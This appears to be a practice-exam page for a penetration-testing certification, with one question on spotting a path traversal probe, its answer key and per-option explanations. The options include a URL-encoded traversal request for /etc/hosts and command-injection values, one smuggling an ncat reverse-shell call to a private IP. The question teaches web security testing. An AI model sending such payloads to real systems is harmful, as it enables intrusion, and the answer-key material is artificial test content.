nerdexam
CompTIA

PT0-002 · Question #329

A penetration tester is validating whether input validation mechanisms have been implemented in a web application. Which of the following should the tester use to determine whether the application…

The correct answer is A. GET /image?filename-..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhosts. To test for path traversal vulnerability, a tester should use a GET request with URL-encoded directory traversal sequences to attempt accessing system files outside the intended directory.

Attacks and Exploits

Question

A penetration tester is validating whether input validation mechanisms have been implemented in a web application. Which of the following should the tester use to determine whether the application is vulnerable to path traversal attacks?

Options

  • AGET /image?filename-..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhosts
  • BGET /image?filename=lefitfe;pwd
  • CPOST /image?filename -
  • DPOST /image?filename =yhtak;ncat --ssl 192.168.0.1 2222

How the community answered

(22 responses)
  • A
    82% (18)
  • B
    5% (1)
  • C
    9% (2)
  • D
    5% (1)

Why each option

To test for path traversal vulnerability, a tester should use a GET request with URL-encoded directory traversal sequences to attempt accessing system files outside the intended directory.

AGET /image?filename-..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhostsCorrect

Path traversal attacks exploit insufficient input validation by using directory traversal sequences like ../ to access files or directories outside the intended application directory. The URL-encoded form ..%2f is commonly used to bypass basic filters, and attempting to access /etc/hosts is a standard way to confirm this vulnerability on Unix-like systems.

BGET /image?filename=lefitfe;pwd

This looks like a command injection attempt (pwd) combined with an invalid filename, not a path traversal attempt.

CPOST /image?filename -

This is an incomplete and malformed request that does not demonstrate a path traversal attempt.

DPOST /image?filename =yhtak;ncat --ssl 192.168.0.1 2222

This is a command injection attempt (ncat to create a reverse shell) and not a path traversal attempt, which focuses on directory navigation.

Concept tested: Web application path traversal

Source: https://owasp.org/www-community/attacks/Path_Traversal

Topics

#Path Traversal#Web Application Vulnerabilities#Input Validation#Exploitation Techniques

Community Discussion

No community discussion yet for this question.

Full PT0-002 Practice